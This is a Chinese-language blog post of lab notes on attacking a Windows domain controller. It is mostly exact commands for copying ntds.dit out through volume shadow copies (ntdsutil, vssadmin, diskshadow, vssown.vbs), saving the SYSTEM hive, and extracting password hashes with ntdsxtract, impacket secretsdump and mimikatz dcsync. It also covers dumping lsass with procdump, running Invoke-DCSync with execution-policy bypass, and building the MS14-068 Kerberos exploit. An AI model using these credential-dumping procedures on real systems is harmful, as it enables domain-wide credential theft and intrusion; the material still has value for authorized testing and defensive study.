内网域控制器安全

发布时间 2023-10-05 19:44:22作者: BattleofZhongDinghe

内网域控制器安全

环境搭建

https://www.cnblogs.com/thebeastofwar/p/17688666.html

前言

在通常情况下,即使用友管理员权限也无法读取域控制器中的C:\Windows\NTDS\ntds.dit
文件,ntds.dit是个二进制文件,包含了很多敏感信息,包含(但不限于)用户名,散列值,组,
GPP,OU等与活动目录相关的信息。它和SAM文件一样,是被windows操作系统锁定的

利用卷影拷贝服务提取ntds.dit

1.ntdsutil.exe(默认安装在域控制器上,支持windows server 2003,windows server 2008,windows server 2012)
在域控制器(windows2012)中输入以下命令,创建一个快照,该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制

ntdsutil snapshot "activate instance ntds" create quit quit


看到创建了一个快照
接下来,加载刚刚创建的快照

ntdsutil snapshot "mount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit


然后将快照中的文件复制出来

mkdir C:\temp
copy C:\$SNAP_202310041424_volumec$\windows\ntds\ntds.dit C:\temp\ntds.dit


然后删掉快照

ntdsutil snapshot "unmount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" "delete {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit


再次查询当前系统中的所有快照,显示没有任何快照

ntdsutil snapshot "List All" quit quit


2.vssadmin
和ntdsutil利用方式差不多
创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:


然后将卷影中的ntds.dit复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit2


然后删除快照

vssadmin delete shadows /for=c: /quiet


3.vssown.vbs
下载https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
保存为vssown.vbs
然后利用这个方法放进没有vmtools且网络隔离的windows2012
https://www.cnblogs.com/thebeastofwar/p/17691274.html
启动卷影拷贝服务

cscript vssown.vbs /start


创建一个C盘的卷影拷贝

cscript vssown.vbs /create c


列出当前卷影拷贝

cscript vssown.vbs /list


复制出ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit C:\temp\ntds.dit3


然后删除卷影拷贝

cscript vssown.vbs /delete {870D2FE7-6138-484F-98BB-58D313004A0C}


4.ntdsutil的IFM

ntdsutil "ac i ntds" "ifm" "create full c:/test2" quit quit


然后就可以复制出ntds.dit

cd c:/test2
cd A*
copy ntds.dit c:/temp/ntds.dit4
cd ..
cd registry
copy SYSTEM c:/temp/SYSTEM

5.diskshadow
注意不能用echo往command.txt写,得直接打开command.txt写
exec c:\windows\system32\calc.exe

diskshadow /s c:\command.txt


然后在command.txt中写入(无//后的内容)

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
//删除所以的快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit


然后

cd c:\windows\system32
diskshadow c:\command.txt


避坑:

解决:在利用https://www.cnblogs.com/thebeastofwar/p/17691274.html
向虚拟机里传文件时候不用写//和//后的内容
然后再将system.hive转储,因为system.hive中存放着ntds.dit的密钥,没有的话会无法查看ntds.dit中的信息

reg save hklm\system c:\system.hive


然后利用此方法将文件从虚拟机中导出来
https://www.cnblogs.com/thebeastofwar/p/17691274.html
目前我们有ntds.dit,system.hive,SYSTEM

导出ntds.dit中的散列值

1.esedbexport
1)导出ntds.dit
下载 libesedb https://github.com/libyal/libesedb/releases
kali下载依赖

apt install autoconf automake autopoint libtool pkg-config -y

然后执行

./configure
make && make install && ldconfig

然后提取ntds.dit

esedbexport -m tables ntds.dit


2)导出散列值
下载 https://github.com/csababarta/ntdsxtract
安装

python2 setup.py build && python2 setup.py install

将ntds.export,dit和SYSTEM放在当前目录
注意根据datatable.x和link_table.x改变参数

python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt


ntds.dit包含域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息以及其他信息

python2 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv


2.impacket
下载 https://github.com/fortra/impacket
安装

python2 setup.py install

本地列出散列值

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL


远程hash传递列出散列值

impacket-secretsdump -hashes xxx -just-dc domain/user@ip

3.NTDSDumpex.exe(失败)
下载 https://github.com/zcgonvh/NTDSDumpEx/releases
执行

NTDSDumpex.exe -d ntds.dit -s system

利用dcsync获取域散列值

1)把mimikatz.exe传送到域控制器,然后执行(不建议,因为得考虑免杀)

mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /all /csv" exit


还可以单独导出一个用户的

mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /user:Administrator" exit

或者在域控制器中通过转储lsass.exe进程对散列值进行dump操作

mimikatz.exe "log" "privilege::debug" "lsadump::lsa /inject" exit


避坑:
以下这种方法是只能导出本机的散列值,但是我们想要整个域的散列值
利用procdump.exe导出lsass.dmp然后传回攻击机内利用mimikatz进行散列值dump操作
将procdump.exe上传到域控制器内

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后再攻击机内执行

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

发现只有本机的散列值

2)Invoke-DCSync.ps1
下载 https://gist.github.com/monoxgas/9d238accd969550136db

powershell -exec bypass -Command Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat

不知为啥还是只导出本地的散列值

使用msf

1.psexec_ntdsgrab(无会话)
2.domain_hashdump(有会话)

使用vshadow.exe和QuarksPwDump.exe(复现失败)

vshadow.exe下载
链接:https://pan.baidu.com/s/1ssXIjvqrZZqT9uk-yeVqfg?pwd=xebu
提取码:xebu

QuarksPwDump.exe下载 https://github.com/tuthimi/quarkspwdump/blob/master/Release/QuarksPwDump.exe

ShadowCopy.bat 代码

setlocal
@REM test if we are called by VSHADOW
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
@REM
@REM Get the source and destination path
@REM
set SOURCE_DRIVE_LETTER=%~d1
set SOURCE_RELATIVE_PATH=%~pnx1
set DESTINATION_PATH=%2
@REM
@REM Create the shadow copy - and generate env variables into a temporary script.
@REM 
@REM Then, while the shadow is still live
@REM recursively execute the same script.
@REM
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
%~dp0\vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@REM
@REM This generated script should set the SHADOW_DEVICE_1 env variable
@REM
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@REM
@REM This should copy the file to the right location
@REM
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

Kerberos域用户提权漏洞分析和防范(未完)

1.PyKEK工具包
下载 https://github.com/mubix/pykek
windows下

pip2 install pyinstaller==3.2.1 -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com

然后再script目录下将pyinstaller.exe改为pyinstall2.exe
然后打包

pyinstaller2 --onedir --clean ms14-068.py

然后再build目录下会产生ms14-068.exe文件